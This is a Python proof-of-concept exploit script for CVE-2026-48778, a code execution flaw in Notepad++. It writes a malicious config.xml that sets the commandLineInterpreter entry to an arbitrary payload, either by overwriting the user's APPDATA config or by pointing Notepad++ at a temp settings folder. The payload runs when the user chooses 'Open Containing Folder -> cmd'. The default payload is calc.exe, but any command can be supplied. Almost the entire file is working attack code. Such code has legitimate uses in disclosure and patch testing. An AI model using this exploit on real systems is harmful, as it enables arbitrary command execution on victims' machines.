#!/usr/bin/env python3 # CVE-2026-48778 - Notepad++ RCE via config.xml commandLineInterpreter import argparse import os import shutil import tempfile import xml.etree.ElementTree as ET APPDATA = os.environ.get("APPDATA", "") NPP_CONFIG = os.path.join(APPDATA, "Notepad++", "config.xml") BACKUP_PATH = NPP_CONFIG + ".bak" def write_malicious(payload: str, target: str) -> None: root = ET.Element("NotepadPlus") cfgs = ET.SubElement(root, "GUIConfigs") el = ET.SubElement(cfgs, "GUIConfig") el.set("name", "commandLineInterpreter") el.text = payload tree = ET.ElementTree(root) ET.indent(tree, space=" ") with open(target, "w", encoding="utf-8") as f: f.write('\n') tree.write(f, encoding="unicode", xml_declaration=False) print(f"[+] Wrote malicious config.xml -> {target}") def mode_direct(payload: str, restore: bool) -> None: if restore: if os.path.exists(BACKUP_PATH): shutil.copy2(BACKUP_PATH, NPP_CONFIG) os.remove(BACKUP_PATH) print(f"[+] Restored original config.xml from backup") else: print("[-] No backup found") return if os.path.exists(NPP_CONFIG): shutil.copy2(NPP_CONFIG, BACKUP_PATH) print(f"[*] Backed up original -> {BACKUP_PATH}") write_malicious(payload, NPP_CONFIG) print("[*] Trigger: open Notepad++, then File -> Open Containing Folder -> cmd") def mode_settingsdir(payload: str) -> None: tmpdir = os.path.join(tempfile.gettempdir(), "npp_poc_48778") os.makedirs(tmpdir, exist_ok=True) target = os.path.join(tmpdir, "config.xml") write_malicious(payload, target) npp = r"C:\Program Files\Notepad++\notepad++.exe" print(f'[*] Launch command:') print(f' "{npp}" -settingsDir="{tmpdir}"') print("[*] Trigger: File -> Open Containing Folder -> cmd") def main(): parser = argparse.ArgumentParser(description="CVE-2026-48778 PoC") parser.add_argument("--mode", choices=["direct", "settingsdir"], default="direct") parser.add_argument("--payload", default="calc.exe") parser.add_argument("--restore", action="store_true") args = parser.parse_args() if args.mode == "direct": mode_direct(args.payload, args.restore) else: mode_settingsdir(args.payload) if __name__ == "__main__": main()